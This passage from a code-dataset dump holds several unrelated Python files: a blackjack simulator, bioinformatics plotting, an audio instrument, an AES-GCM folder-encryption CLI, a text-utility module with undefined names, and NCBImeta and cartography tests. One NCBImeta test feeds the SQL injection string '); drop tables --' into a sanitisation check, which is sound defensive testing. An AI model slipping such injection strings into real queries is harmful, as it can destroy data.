player.move = \"lost\"\r\n\r\n\r\ndef main():\r\n ''' Main Workflow. '''\r\n\r\n print(\"Welcome to Classic BlackJack!\")\r\n dealer, players = BlackJack.get_players_and_dealer()\r\n print(f\"Players at table: {len(players)}\")\r\n\r\n print(f\"Running count: {BlackJack.Live_Count}\\n\")\r\n\r\n\r\n while BlackJack.Next_game:\r\n dealer.read_cards_and_get_score()\r\n print()\r\n\r\n for player in players:\r\n player.deal_hand(dealer)\r\n print()\r\n print()\r\n\r\n dealer.deal_hand()\r\n if dealer.move == \"goes bust\":\r\n for player in players:\r\n if player.move != \"goes bust\": \r\n player.move = \"wins\"\r\n elif dealer.move == \"hit Blackjack\":\r\n for player in players:\r\n if player.move != \"hit Blackjack\": \r\n player.move = \"lost\"\r\n \r\n print()\r\n\r\n for player in players:\r\n if player.move == dealer.move == \"hit BlackJack\":\r\n player.move = \"push\"\r\n elif player.move == dealer.move == \"goes bust\":\r\n player.move = \"lost\"\r\n elif player.move == \"Stand\":\r\n BlackJack.final_result(player, dealer)\r\n\r\n print(f\"Final Results:\\nDealer score: {dealer.score}\\n\")\r\n for player in players:\r\n if player.move == \"hit BlackJack\":\r\n print(f\"{player.name} {player.move}!\")\r\n else:\r\n print(f\"{player.name} {player.move} with {player.score}!\")\r\n\r\n print(f\"\\nRunning count: {BlackJack.Live_Count:+}\")\r\n BlackJack.new_game(players, dealer)\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"drcoder5/BlackJack-Simulator-with-Strategy","sub_path":"BlackJack_V1.py","file_name":"BlackJack_V1.py","file_ext":"py","file_size_in_byte":9431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"38910332205","text":"import pandas as pd\nimport sys\nfrom matplotlib import pyplot as plt\n\ndata = pd.read_csv('{}'.format(sys.argv[1]), sep = '\\t')\ngene_list = pd.unique(data['Segment'])\n\nfor gene_id in gene_list:\n gene = data.loc[(data['Segment'] == gene_id)]\n all_for_bp = {k: 0 for k in range(1,2400)}\n all_rev_bp = {k: 0 for k in range(1,2400)}\n for index, row in gene.iterrows():\n start = row[\"Start\"]\n stop = row[\"Stop\"]\n for i in range(start,stop):\n all_for_bp[i] += row[\"Forward_support\"]\n all_rev_bp[i] += row[\"Reverse_support\"]\n \n fig, (ax1, ax2) = plt.subplots(1, 2)\n fig.suptitle('Defective interfering particles segment: {}'.format(gene_id))\n\n ax1.bar(list(all_for_bp.keys()), all_for_bp.values(), color='blue')\n ax1.set(xlabel='bp', ylabel='read coverage')\n ax1.set_title('Forward support')\n ax1.set_ylim(0, max(max(all_for_bp.values()),max(all_rev_bp.values()))+20)\n \n ax2.bar(list(all_rev_bp.keys()), all_rev_bp.values(), color='red')\n ax2.set(xlabel='bp')\n ax2.set_title('Reverse support')\n ax2.set_ylim(0, max(max(all_for_bp.values()),max(all_rev_bp.values()))+20)\n fig.savefig(\"{}.pdf\".format(gene_id), format=\"pdf\", bbox_inches=\"tight\")\n\n","repo_name":"aradahir/ivdipfinding","sub_path":"scripts/figure.py","file_name":"figure.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"3435101700","text":"from pippi import dsp\nfrom pippi import tune\n\nmidi = {'lpd': 3}\n\ndef play(ctl):\n param = ctl.get('param')\n lpd = ctl.get('midi').get('lpd')\n\n freqs = [\n (10000, 15000),\n (5000, 15000),\n (5000, 10000),\n ]\n\n low = dsp.rand(50, 100) \n high = dsp.rand(80, 120)\n\n low = 80\n high = 120\n\n wform = 'sine2pi'\n\n amp = lpd.get(5, low=0, high=1, default=0)\n\n low = dsp.rand(low * 0.9, low)\n high = dsp.rand(high, high * 1.1)\n\n length = dsp.mstf(lpd.get(1, low=10, high=900)) \n\n if dsp.rand() > 10.5:\n length = length / 2\n\n pulselength = lpd.geti(2, low=dsp.mstf(10), high=length, default=length)\n\n out = dsp.bln(pulselength, low, high, wform)\n out = dsp.env(out, 'phasor')\n\n if dsp.rand() > 10.1:\n beep = dsp.tone(dsp.flen(out), dsp.rand(12000, 12000), amp=dsp.rand(0.5, 1))\n out = dsp.mix([out, beep])\n\n out = dsp.drift(out, dsp.rand(0, 1))\n out = dsp.pad(out, 0, length - dsp.flen(out))\n\n out = dsp.pan(out, dsp.rand())\n out = dsp.amp(out, amp)\n\n return out\n","repo_name":"hecanjog/hcj.py","sub_path":"orc/click.py","file_name":"click.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"4804537747","text":"'''\r\nMIT License\r\n\r\nCopyright (c) 2023 Homer Riva-Cambrin\r\n\r\nPermission is hereby granted, free of charge, to any person obtaining a copy\r\nof this software and associated documentation files (the \"Software\"), to deal\r\nin the Software without restriction, including without limitation the rights\r\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\r\ncopies of the Software, and to permit persons to whom the Software is\r\nfurnished to do so, subject to the following conditions:\r\n\r\nThe above copyright notice and this permission notice shall be included in all\r\ncopies or substantial portions of the Software.\r\n\r\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\r\nSOFTWARE.\r\n\r\nSonorus\r\nRobust AES256 CLI encrypt/decrypt with configurable low-memory overhead\r\nAuthor: Homer Riva-Cambrin\r\nVersion: May 20th, 2023\r\n'''\r\n\r\nimport os\r\nimport argparse\r\nfrom cryptography.hazmat.primitives.kdf.scrypt import Scrypt\r\nfrom cryptography.hazmat.primitives.ciphers.aead import AESGCM\r\nimport struct\r\nfrom io import BytesIO\r\n\r\nMB_TO_BYTES = 10**6\r\nNONCE_SIZE = 12\r\nBYTES_IN_LONG = 8 # Note, this is not configurable\r\nPROGRESS_BAR_LENGTH = 48\r\n\r\nclass colors: # Borrowed from blender's colors\r\n CYAN = '\\033[96m'\r\n GREEN = '\\033[92m'\r\n WARNING = '\\033[93m'\r\n FAIL = '\\033[91m'\r\n RESET = '\\033[0m'\r\n\r\ndef print_with_header(msg, header=''):\r\n print(f'{header}[{colors.GREEN}SONORUS{colors.RESET}] {msg}',end='')\r\n \r\ndef error_print(msg):\r\n print(f'[{colors.GREEN}SONORUS{colors.RESET}] [{colors.FAIL}ERROR{colors.RESET}] {msg}',end='') \r\n\r\ndef long_to_bytes(val):\r\n return struct.pack(\">Q\", val)\r\n\r\ndef bytes_to_long(val):\r\n return struct.unpack('>Q', val)[0]\r\n\r\ndef safe_delete_dir(dir):\r\n for file in dir:\r\n safe_delete_file(file)\r\n \r\ndef safe_delete_file(file):\r\n if os.path.exists(file):\r\n os.remove(file)\r\n\r\ndef walk(array, empty_dirs, directory):\r\n for f in os.listdir(directory):\r\n full_name = f'{directory}/{f}'\r\n path = os.path.relpath(full_name)\r\n if os.path.isdir(path):\r\n if len(os.listdir(full_name)) == 0:\r\n empty_dirs.append(full_name)\r\n walk(array, empty_dirs, full_name)\r\n else:\r\n array.append(full_name)\r\n\r\ndef create_key(password: str, length=32, n=2**20, r=8, p=1) -> bytes:\r\n return Scrypt(salt=b'', length=length, n=n, r=r, p=p).derive(password.encode())\r\n\r\ndef draw_progress_bar(count, max):\r\n progress = round(PROGRESS_BAR_LENGTH * (count / float(max)))\r\n print(f\"\\r[{colors.GREEN}SONORUS{colors.RESET}] Progress [{colors.GREEN}{'#'*progress}{colors.WARNING}{'-'*(PROGRESS_BAR_LENGTH-progress)}{colors.RESET}]\", end='')\r\n\r\nclass ChainCryptEditor(object):\r\n \r\n def __init__(self, max_bytes, key) -> None:\r\n self.max_bytes = max_bytes\r\n self.bytes_processed = 0\r\n self.key = key\r\n self.data_buffer = BytesIO(b'')\r\n \r\n def write_bytes(self, data, count=True):\r\n if count: self.bytes_processed += len(data)\r\n self.data_buffer.write(data)\r\n draw_progress_bar(self.bytes_processed, self.max_bytes)\r\n\r\nclass ChainCryptWriter(ChainCryptEditor):\r\n \r\n def __init__(self, args, max_chunk_size, key, max_bytes: int): # TO-DO add minimum max chunk size of 48\r\n super().__init__(max_bytes, key)\r\n self.max_chunk_size = max_chunk_size\r\n self.file_handle = open(args.target + '/' + args.store + '.snr', 'ab')\r\n self.indexes = []\r\n self.index_offset = 0\r\n\r\n def write_empty_dirs(self, dirs):\r\n # [ DIRECTORY COUNT ] [ [ NAME LENGTH ] [ NAME ] ]\r\n self.write_bytes(long_to_bytes(len(dirs)), count=False)\r\n for dir in dirs:\r\n name_encoded = dir.encode()\r\n data = long_to_bytes(len(name_encoded)) + name_encoded\r\n self.write_bytes(data, count=False)\r\n self.index_offset += len(data)\r\n \r\n def write_file(self, name: bytes, file_name) -> None:\r\n file_size = os.path.getsize(file_name)\r\n buffer = open(file_name, 'rb')\r\n \r\n # [ FILE SIZE ] [ NAME LENGTH ] [ NAME ] [ DATA ]\r\n self.write_bytes(long_to_bytes(file_size))\r\n self.write_bytes(long_to_bytes(len(name)))\r\n self.write_bytes(name)\r\n \r\n # The tell is where we currently are, so by subtracting from the total we\r\n # find out how many bytes we have left.\r\n while file_size - buffer.tell() > self.max_chunk_size:\r\n # Write bytes and flush this out to a new file\r\n self.write_bytes(buffer.read(self.max_chunk_size))\r\n self.flush()\r\n\r\n self.write_bytes(buffer.read()) # Write the remainder.\r\n buffer.close()\r\n\r\n def flush(self):\r\n if len(self.data_buffer.getbuffer()) == 0: return # No empty files.\r\n current_data = self.data_buffer.getbuffer()\r\n self.data_buffer = BytesIO(b'')\r\n \r\n # Run the data through encryption\r\n nonce = os.urandom(NONCE_SIZE)\r\n current_data = AESGCM(self.key).encrypt(nonce, current_data, b'')\r\n\r\n # Advance the index and add it to our index list\r\n self.indexes.append(self.index_offset)\r\n self.index_offset += len(nonce) + len(current_data)\r\n\r\n self.file_handle.write(nonce + current_data)\r\n\r\n \r\n def finalize(self):\r\n self.flush() # Flush any remaining data to disk\r\n # [ [ INDEX ] ] [ INDEX COUNT ] \r\n for val in self.indexes:\r\n self.file_handle.write(long_to_bytes(val))\r\n self.file_handle.write(long_to_bytes(len(self.indexes)))\r\n self.file_handle.close()\r\n \r\n \r\nclass ChainCryptReader(ChainCryptEditor):\r\n \r\n def __init__(self, args, max_chunk_size, key, max_bytes) -> None:\r\n super().__init__(max_bytes, key)\r\n self.args = args\r\n self.max_chunk_size = max_chunk_size\r\n \r\n self.file_len = -1\r\n self.cur_file_name = ''\r\n self.bytes_to_flush = 0\r\n \r\n def finish_file(self):\r\n if self.cur_file_name == '': return # No empty files. \r\n self.data_buffer.close()\r\n \r\n # Reset file reading buffer\r\n self.file_len = -1\r\n self.cur_file_name = ''\r\n self.bytes_to_flush = 0\r\n \r\n def process_files(self, temp_buffer: BytesIO): # THIS BUFFER IS CLOSED IN THE READ_STORE METHOD!\r\n buffer_length = len(temp_buffer.getbuffer())\r\n \r\n while buffer_length - temp_buffer.tell():\r\n if self.file_len == -1:\r\n # READ FILE DETAILS [ FILE LENGTH ] [ FILE NAME LENGTH ] [ FILE NAME ] [ DATA ]\r\n self.file_len = bytes_to_long(temp_buffer.read(BYTES_IN_LONG))\r\n name_len = bytes_to_long(temp_buffer.read(BYTES_IN_LONG))\r\n self.cur_file_name = temp_buffer.read(name_len).decode()\r\n \r\n os.makedirs(os.path.dirname(self.cur_file_name), exist_ok=True)\r\n self.data_buffer = open(self.cur_file_name, 'wb')\r\n \r\n # If the file is empty, this will make sure we still get it to preserve the file structure\r\n if self.file_len == 0:\r\n self.finish_file()\r\n continue \r\n \r\n # The tell is how many bytes we are currently at, so taking the difference tells us how \r\n # many we have to go.\r\n remaining_bytes = buffer_length - temp_buffer.tell()\r\n \r\n if remaining_bytes > self.file_len: # If there are more bytes remaining then left in the file, consume the necessary bytes and close the file.\r\n self.write_bytes(temp_buffer.read(self.file_len))\r\n self.finish_file()\r\n else: # Else just subtract and keep eating away at the stores until we have mined out the files\r\n self.file_len -= remaining_bytes\r\n self.write_bytes(temp_buffer.read(remaining_bytes))\r\n self.bytes_to_flush += remaining_bytes\r\n\r\n if self.bytes_to_flush > self.max_chunk_size: # Prevents us from having more than this amount in the memory at one given time\r\n self.bytes_to_flush = 0\r\n self.data_buffer.flush()\r\n \r\n def read_store(self):\r\n with open(f'{self.args.target}/{self.args.store}.snr', 'rb') as file:\r\n # Get the indexes\r\n file.seek(-BYTES_IN_LONG, 2) # Read the index count\r\n index_count = bytes_to_long(file.read(BYTES_IN_LONG))\r\n file.seek(-BYTES_IN_LONG + (-BYTES_IN_LONG)*index_count, 2)\r\n indexes = [bytes_to_long(file.read(BYTES_IN_LONG)) for i in range(index_count)] # Get the list of indexes\r\n \r\n for i in range(index_count):\r\n file.seek(indexes[i])\r\n nonce = file.read(NONCE_SIZE) # Read out 12-byte nonce\r\n \r\n if i == index_count - 1:\r\n raw_data = file.read()[:(-BYTES_IN_LONG + (-BYTES_IN_LONG)*index_count)] # If we are the last section, we just want to read\r\n # the rest except for the indexes.\r\n else:\r\n raw_data = file.read((indexes[i + 1] - indexes[i]) - NONCE_SIZE) # Read the rest of this section's data\r\n \r\n # Process the data\r\n buffer = BytesIO(AESGCM(self.key).decrypt(nonce, raw_data, b''))\r\n \r\n if i == 0: # If this is our first section, we need to extract our empty directories\r\n dir_count = bytes_to_long(buffer.read(BYTES_IN_LONG))\r\n for i in range(dir_count):\r\n os.makedirs(buffer.read(bytes_to_long(buffer.read(BYTES_IN_LONG))).decode(), exist_ok=True) \r\n self.process_files(buffer)\r\n \r\n buffer.close()\r\n self.data_buffer.close()\r\n \r\ndef obtain_key(args):\r\n if not os.path.exists(args.keyfile):\r\n error_print(f'Could not find keyfile {colors.WARNING}{args.keyfile}{colors.RESET}. Please check the name and try again.\\n')\r\n return None\r\n else:\r\n with open(args.keyfile, 'r') as file:\r\n raw_key = file.read()\r\n # Generate actual key\r\n key = create_key(raw_key) \r\n return key \r\n\r\ndef verify_args(command, parser, args):\r\n if args.target is None:\r\n parser.error(f'{command} requires --target to be specified.')\r\n if args.store is None:\r\n parser.error(f'{command} requires --store to be specified.')\r\n if args.keyfile is None:\r\n parser.error(f'{command} requires --keyfile to be specified.')\r\n\r\ndef encrypt_partitions(parser: argparse.ArgumentParser, args, chunksize):\r\n verify_args('--encrypt', parser, args) \r\n \r\n print_with_header(f'You are about to encrypt{colors.CYAN} {args.target}{colors.RESET}. Are you sure you want to proceed? {colors.WARNING}(y/n) {colors.RESET}')\r\n choice = input()\r\n if choice.lower() == 'y':\r\n if os.path.exists(args.target + \"/\" + args.store + '.snr'):\r\n error_print(f'There already exists a file in that destination with the specified store name. Please move or re-name this file to prevent data corruption.\\n')\r\n error_print(f'Additionally, keep in mind that encrypting things multiple times does not necesarily enhance security.\\n')\r\n return\r\n \r\n key = obtain_key(args)\r\n if key is None: return \r\n print_with_header(\"Succesfully obtained the encryption key from the keyfile.\\n\")\r\n \r\n locations = []\r\n empty_dirs = []\r\n walk(locations, empty_dirs, args.target)\r\n print_with_header(\"Succesfully scanned directory.\\n\")\r\n \r\n # Reduce the list of the locations by reducing them with a summing function\r\n total_size = sum([os.path.getsize(x) for x in locations]) \r\n chain = ChainCryptWriter(args, chunksize, key, total_size) \r\n chain.write_empty_dirs(empty_dirs)\r\n safe_delete_dir(empty_dirs)\r\n for loc in locations:\r\n chain.write_file(loc.encode(), loc)\r\n safe_delete_file(loc) \r\n chain.finalize()\r\n print_with_header(\"Finished encrypting data.\\n\", header='\\n')\r\n else:\r\n print_with_header('Cancelling...')\r\n \r\ndef decrypt_partitions(parser: argparse.ArgumentParser, args, chunksize):\r\n # Catch missing parameters\r\n verify_args('--decrypt', parser, args)\r\n full_path = args.target + '/' + args.store + '.snr'\r\n if not os.path.exists(full_path):\r\n error_print(f'Could not find a {colors.WARNING}{args.store}.snr{colors.RESET} in {colors.CYAN}{full_path}{colors.RESET}. Please check your store name and try again.')\r\n return\r\n \r\n key = obtain_key(args)\r\n if key is None: return\r\n print_with_header(\"Obtained key from keystore...\\n\") \r\n print_with_header(f'Beginning decryption of {colors.CYAN}{full_path}{colors.RESET}...\\n')\r\n \r\n # Read out the encrypted fileset\r\n total_size = os.path.getsize(full_path)\r\n reader = ChainCryptReader(args, chunksize, key, total_size)\r\n reader.read_store()\r\n print_with_header(f'Finished decrypting.\\n', header='\\n')\r\n \r\n if args.delete:\r\n safe_delete_file(full_path)\r\n \r\n \r\n\r\ndef main():\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument('--encrypt', help='Encrypts the items within the directory.', action='store_true')\r\n parser.add_argument('--decrypt', help='Decrypts the items within the store.', action='store_true')\r\n parser.add_argument('--target', help='Sets the encryption target')\r\n parser.add_argument('--keyfile', help='Specs the location of the key file')\r\n parser.add_argument('--store', help='Specifies store directory name.')\r\n parser.add_argument('--delete', help='Deletes old data once encrypted/decrypted (respectively, unencrypted and store file)', action='store_true')\r\n parser.add_argument('--chunksize', help='How much of the file will be stored in memory before being flushed, in megabytes.')\r\n args = parser.parse_args()\r\n \r\n if args.chunksize is None:\r\n parser.error(\"--chunksize must be specified. Remember it is given in megabytes (MB)\")\r\n \r\n try: # Get chunksize and verify that it is correct.\r\n chunksize = int(args.chunksize) * MB_TO_BYTES\r\n except:\r\n parser.error(\"--chunksize must be a positive integer.\")\r\n \r\n if chunksize <= 0: parser.error(\"--chunksize must be a positive integer.\")\r\n \r\n if not args.encrypt and not args.decrypt:\r\n error_print('You must specify either --encrypt or --decrypt')\r\n return\r\n \r\n if args.encrypt:\r\n encrypt_partitions(parser, args, chunksize)\r\n if args.decrypt:\r\n try:\r\n decrypt_partitions(parser, args, chunksize)\r\n except:\r\n error_print(\"Failed to decrypt! This could be due to several reasons, including that your data was tampered\\n\")\r\n error_print(\"or was compressed, or the format was modified. Make sure this is an actual .snr file.\\n\")\r\n \r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"DiscordJim/sonorus","sub_path":"sonorus.py","file_name":"sonorus.py","file_ext":"py","file_size_in_byte":15604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"11854048413","text":"#code file for python\n\ndef read_data(row1,col1):\n a = [[0] * col1 for i in range(n)]\n for i in range(0,row1):\n a[i]=[int(b) for b in input().split()]\n return a\n\n#reading a text file\ndef readmyfile(filepath):\n with open(filepath,\"r\") as f:\n text = f.read()\n return text\n#count sentences in a text file\ndef countsentences(text):\n sentences = text.split(\"\\n\")\n #print(\"The sentences are:\" + str(len(sentences)))\n\n#count words in a text file\ndef countwords(text):\n unwanted=\".,()-!?\"\n text = text.strip(unwanted)\n words=text.split()\n #print(\"The words are:\" + str(len(words)))\n return words\n\n#print(word frequency) in a text file\ndef wordfreq(words):\n unique=set(words)\n dict_words={a:0 for a in unique }# create dictionary of unique words with zero count initialised\n for eachword in words:\n if eachword in unique:\n dict_words[eachword]=dict_words[eachword]+1\n return(dict_words)\n\n#using dataframes to present chapterwise data, where person, place\n# are lists with interest names to be counted for occurences in each chapter\ndef chaptercounts(people,place):\n df2= pd.DataFrame()\n dictpeople={ person:dict_words[person] for person in people}\n dictplace={ place:dict_words[place] for place in places}\n dictcombined={**dictpeople,**dictplace}\n\n df = pd.DataFrame()\n for person,count in dictcombined.items():\n df[person] = [count]\n\n df2= pd.DataFrame()\n dictfull={ person:dict_words[person] for person in people}\n dictchapl={ place:dict_words[place] for place in places}\n dictchap={**dictpeople,**dictplace}\n newdict={i:dict_words[person] for i in range(1,len(chapters))}\n return newdict","repo_name":"drray30/Machine_Learning","sub_path":"TextUtilities.py","file_name":"TextUtilities.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"3595823907","text":"\"\"\"\nNCBImeta Test - Error Classes\n\n@author: Katherine Eaton\n\"\"\"\n\n# -----------------------------------------------------------------------------#\n# Modules and Packages #\n# -----------------------------------------------------------------------------#\n\nfrom ncbimeta import NCBImetaErrors # Utility Functions\nimport os # Filepath operations\n\n# -----------------------------------------------------------------------------#\n# Test Function #\n# -----------------------------------------------------------------------------#\n\n\ndef test_ErrorAnnotFileNotExists(tmpdir):\n \"\"\"Test error when an annotation file doesn't exist\"\"\"\n # This file is not created, just a tmp path\n tmpfile = os.path.join(tmpdir.strpath, \"tmpfile\")\n # Test instantiation\n test_error = NCBImetaErrors.ErrorAnnotFileNotExists(tmpfile)\n # Test str representation (error message)\n error_output = str(test_error)\n error_expect = (\n \"\\n\\nFile does not exist.\" + \"\\n\" + \"User entered: --annotfile \" + tmpfile\n )\n assert error_output == error_expect\n\n\ndef test_ErrorTableNotInDB(tmpdir):\n \"\"\"Test error when a table doesn't exist in a database\"\"\"\n # This file is not created, just a tmp path\n tmpfile = os.path.join(tmpdir.strpath, \"tmpfile\")\n # Test instantiation\n test_error = NCBImetaErrors.ErrorTableNotInDB(tmpfile)\n # Test str representation (error message)\n error_output = str(test_error)\n error_expect = (\n \"\\n\\nThe table does not exist in the database.\"\n + \"\\n\"\n + \"Unknown table found: \"\n + tmpfile\n )\n assert error_output == error_expect\n\n\ndef test_ErrorEntryNotInDB():\n \"\"\"Test error when an entry doesn't exist in a database\"\"\"\n # This file is not created, just a tmp path\n test_entry = \"TestEntry\"\n # Test instantiation\n test_error = NCBImetaErrors.ErrorEntryNotInDB(test_entry)\n # Test str representation (error message)\n error_output = str(test_error)\n error_expect = (\n \"\\n\\nThe entry does not exist in the database.\"\n + \"\\n\"\n + \"Unknown entry found: \"\n + test_entry\n )\n assert error_output == error_expect\n\n\ndef test_ErrorEntryMultipleMatches():\n \"\"\"Test error when their are multiple matching entries in a database\"\"\"\n # This file is not created, just a tmp path\n test_entry = \"TestEntry\"\n # Test instantiation\n test_error = NCBImetaErrors.ErrorEntryMultipleMatches(test_entry)\n # Test str representation (error message)\n error_output = str(test_error)\n error_expect = (\n \"\\n\\nThe entry has multiple matches in the database.\"\n + \"\\n\"\n + \"Multiple matches for entry: \"\n + test_entry\n )\n assert error_output == error_expect\n\n\ndef test_ErrorConfigFileNotExists(tmpdir):\n \"\"\"Test error when a configuration file doesn't exist\"\"\"\n # This file is not created, just a tmp path\n tmpfile = os.path.join(tmpdir.strpath, \"tmpfile\")\n # Test instantiation\n test_error = NCBImetaErrors.ErrorConfigFileNotExists(tmpfile)\n # Test str representation (error message)\n error_output = str(test_error)\n error_expect = (\n \"\\n\\nConfig file does not exist in the specified location.\"\n + \"\\n\"\n + \"Location specified: \"\n + tmpfile\n )\n assert error_output == error_expect\n\n\ndef test_ErrorColumnsNotUnique():\n \"\"\"Test error when their are non unique columns in a database\"\"\"\n # This file is not created, just a tmp path\n test_column = \"TestColumn\"\n # Test instantiation\n test_error = NCBImetaErrors.ErrorColumnsNotUnique(test_column)\n # Test str representation (error message)\n error_output = str(test_error)\n error_expect = (\n \"\\n\\nThe following columns are not unique in the database:\" + \"\\n\" + test_column\n )\n assert error_output == error_expect\n\n\ndef test_ErrorDBNotExists(tmpdir):\n \"\"\"Test error when a database doesn't exist\"\"\"\n # This file is not created, just a tmp path\n tmpfile = os.path.join(tmpdir.strpath, \"tmpfile\")\n # Test instantiation\n test_error = NCBImetaErrors.ErrorDBNotExists(tmpfile)\n # Test str representation (error message)\n error_output = str(test_error)\n error_expect = \"\\n\\nDatabase does not exist.\" + \"\\n\" + tmpfile\n assert error_output == error_expect\n\n\ndef test_ErrorMaxFetchAttemptsExceeded():\n \"\"\"Test error when maximum fetch attempts has been exceeded\"\"\"\n # This file is not created, just a tmp path\n test_kwargs = {\n \"db\": \"assembly\",\n \"term\": \"(SAMN12991206[BioSample])\",\n \"retmax\": \"9999999\",\n }\n # Test instantiation\n test_error = NCBImetaErrors.ErrorMaxFetchAttemptsExceeded(str(test_kwargs))\n # Test str representation (error message)\n error_output = str(test_error)\n error_expect = (\n \"\\n\\nThe Maximum number of fetch attempts was exceeded for ID:\"\n + \"\\n\"\n + str(test_kwargs)\n )\n assert error_output == error_expect\n\n\ndef test_ErrorMaxReadAttemptsExceeded():\n \"\"\"Test error when maximum read attempts has been exceeded\"\"\"\n # This file is not created, just a tmp path\n test_table = \"TestTable\"\n # Test instantiation\n test_error = NCBImetaErrors.ErrorMaxReadAttemptsExceeded(test_table)\n # Test str representation (error message)\n error_output = str(test_error)\n error_expect = (\n \"\\n\\nThe Maximum number of read attempts was exceeded for table:\"\n + \"\\n\"\n + test_table\n )\n assert error_output == error_expect\n\n\ndef test_ErrorConfigParameter():\n \"\"\"Test error when a configuration file parameter is incorrect\"\"\"\n # This file is not created, just a tmp path\n test_parameter = \"TestParameter\"\n # Test instantiation\n test_error = NCBImetaErrors.ErrorConfigParameter(test_parameter)\n # Test str representation (error message)\n error_output = str(test_error)\n error_expect = (\n \"\\n\\nA parameter name and/or value in the \"\n + \"configuration file is set incorrectly:\"\n + \"\\n\"\n + test_parameter\n )\n assert error_output == error_expect\n\n\ndef test_ErrorConfigYAMLFormat(tmpdir):\n \"\"\"Test error when a configuration file is improperly formatted\"\"\"\n # This file is not created, just a tmp path\n tmpfile = os.path.join(tmpdir.strpath, \"tmpfile\")\n # Test instantiation\n test_error = NCBImetaErrors.ErrorConfigYAMLFormat(tmpfile)\n # Test str representation (error message)\n error_output = str(test_error)\n error_expect = (\n \"\\n\\nThe configuration file could not be loaded, \"\n + \"please confirm that this is a proper YAML file: \"\n + \"\\n\"\n + tmpfile\n )\n assert error_output == error_expect\n\n\ndef test_ErrorSQLNameSanitize():\n \"\"\"Test error when a table name is improperly formatted\"\"\"\n # Use an improper table name\n test_name = \"); drop tables --\"\n test_sanitize_name = \"droptables\"\n # Raise the error\n test_error = NCBImetaErrors.ErrorSQLNameSanitize(test_name, test_sanitize_name)\n error_output = str(test_error)\n error_expect = (\n \"\\n\\nThe name: \"\n + test_name\n + \" contains problematic characters. Please rename it to: \"\n + test_sanitize_name\n )\n assert error_output == error_expect\n\n\ndef test_ErrorXPathQueryMultiElement():\n \"\"\"Test when bad multiple matches have been found for an Xpath query\"\"\"\n # Use an improper table name\n test_xpath = \"//RUN\"\n # Raise the error\n test_error = NCBImetaErrors.ErrorXPathQueryMultiElement(test_xpath)\n error_output = str(test_error)\n error_expect = (\n \"\\n\\nMore than one element returned for XPath \"\n + str(test_xpath)\n + \". Are you using the correct XPath query?\"\n )\n assert error_output == error_expect\n\n\ndef test_ErrorXPathElementUnknown():\n \"\"\"Test unknown type of search result\"\"\"\n # Use an improper table name\n test_result = {\"test\": \"dict\"}\n # Raise the error\n test_error = NCBImetaErrors.ErrorXPathElementUnknown(test_result)\n error_output = str(test_error)\n error_expect = \"\\n\\nUnknown XPath return element: {}\".format(type(test_result))\n assert error_output == error_expect\n\n\ndef test_ErrorXPathQueryMissing():\n \"\"\"Test when query was not specified\"\"\"\n # Use an improper table name\n test_col_name = {\"AssemblyAccession\"}\n # Raise the error\n test_error = NCBImetaErrors.ErrorXPathQueryMissing(test_col_name)\n error_output = str(test_error)\n error_expect = (\n \"\\n\\nThe following column name uses XPath \"\n + \"but no query was supplied: \"\n + str(test_col_name)\n )\n assert error_output == error_expect\n","repo_name":"ktmeaton/NCBImeta","sub_path":"test/test_errors.py","file_name":"test_errors.py","file_ext":"py","file_size_in_byte":8698,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"52"} +{"seq_id":"32986553911","text":"import cartography.intel.aws.elasticache\nimport tests.data.aws.elasticache\n\nTEST_ACCOUNT_ID = '000000000000'\nTEST_REGION = 'us-east-1'\nTEST_UPDATE_TAG = 123456789\n\n\ndef test_load_clusters(neo4j_session):\n neo4j_session.run(\"MERGE(a:AWSAccount{id:$account});\", account=TEST_ACCOUNT_ID)\n elasticache_data = tests.data.aws.elasticache.DESCRIBE_CACHE_CLUSTERS\n clusters = elasticache_data['CacheClusters']\n cartography.intel.aws.elasticache.load_elasticache_clusters(\n neo4j_session,\n clusters,\n TEST_REGION,\n TEST_ACCOUNT_ID,\n TEST_UPDATE_TAG,\n )\n\n expected_cluster_arns = {cluster['ARN'] for cluster in clusters}\n nodes = neo4j_session.run(\n \"\"\"\n MATCH (r:ElasticacheCluster) RETURN r.arn\n \"\"\",\n )\n actual_cluster_arns = {n['r.arn'] for n in nodes}\n assert actual_cluster_arns == expected_cluster_arns\n\n # Test the connection to the account\n expected_cluster_arns = {(cluster['ARN'], TEST_ACCOUNT_ID) for cluster in clusters}\n nodes = neo4j_session.run(\n \"\"\"\n MATCH (r:ElasticacheCluster)<-[:RESOURCE]-(a:AWSAccount) RETURN r.arn, a.id\n \"\"\",\n )\n actual_cluster_arns = {(n['r.arn'], n['a.id']) for n in nodes}\n assert actual_cluster_arns == expected_cluster_arns\n\n # Test undefined topic_arns\n topic_arns_in_test_data = {cluster.get('NotificationConfiguration', {}).get('TopicArn') for cluster in clusters}\n expected_topic_arns = {topic for topic in topic_arns_in_test_data if topic} # Filter out Nones.\n nodes = neo4j_session.run(\n \"\"\"\n MATCH (r:ElasticacheTopic) RETURN r.arn\n \"\"\",\n )\n actual_topic_arns = {n['r.arn'] for n in nodes}\n assert actual_topic_arns == 